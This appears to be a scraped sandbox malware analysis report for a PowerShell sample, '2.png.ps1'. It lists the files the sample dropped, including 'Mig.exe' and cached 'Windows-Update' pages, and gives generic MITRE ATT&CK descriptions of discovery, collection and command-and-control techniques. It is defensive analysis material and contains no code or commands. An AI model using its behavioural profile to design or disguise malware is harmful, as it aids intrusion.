URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Mig\Mig.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Windows-Update[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Windows-Update[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1owrnfpx.iyo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5g1bk1f5.a1k.ps1

Windows Analysis Report
2.png.ps1

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre